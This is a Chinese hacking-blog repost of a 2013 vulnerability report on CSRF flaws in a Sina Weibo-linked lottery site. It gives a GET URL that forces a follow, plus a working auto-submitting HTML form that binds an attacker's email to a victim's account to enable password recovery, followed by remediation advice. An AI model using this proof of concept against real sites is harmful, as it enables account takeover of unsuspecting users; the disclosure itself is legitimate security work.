记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

新浪微博还一处非常严重的CSRF刷粉丝

2013-02-25 12:35
1.加关注的接口POST变GET;
2.不只是刷粉丝呢,xss可以偷身份,csrf同样可以的!
1.是这个站点撒:http://caipiao.weibo.com,先登录,将信息填好撒!
 
2.加关注的接口本来是一个POST请求的,结果我简单试了下,直接GET也可以撒,这个不能原谅哦,如下:
http://w.aicai.com/ajaxCareFriend.do?uid=1981622273直接访问,再看看微博关注了谁吧:
 
3.再看另一个问题,CSRF绑定邮箱,再取回密码,进入【安全中心】:
 
4.在邮箱那里,点击立即设置,填好事先准备的QQ邮箱:
 
5.将该请求抓下,准备一个POST请求的POC页面,这个要是能GET,麻烦就大了:
<html>
<body>
<form id="fengxiaoxiao" name="fengxiaoxiao" action="http://w.aicai.com/userEmail.do" method="POST">
<input type="text" name="email" value="*********@qq.com" />
<input type="submit" value="submit" />
</form>
<script>
document.fengxiaoxiao.submit();
</script>
</body>
</html>
6.把链接发给指定的人撒,QQ邮箱来邮件了:
 
7.用另一个微博账号点击上述链接,成功绑定!
 

 
 
 
修复方案:

1.CSRF要彻底检查下啊,不只是这两个地方;
2.绑定邮箱的地方经实践证明,可以直接GET的,麻烦大了
3.关键接口没有做用户验证,比如提示用户首先输入密码才可绑定邮箱或手机,哪怕设置一个图片验证码也可防止这种情况
 
知识来源: www.2cto.com/Article/201302/190979.html

阅读:86131 | 评论:0 | 标签:CSRF

想收藏或者和大家分享这篇好文章→复制链接地址

“新浪微博还一处非常严重的CSRF刷粉丝”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于垒土;黑客之术,始于阅读

推广

工具

标签云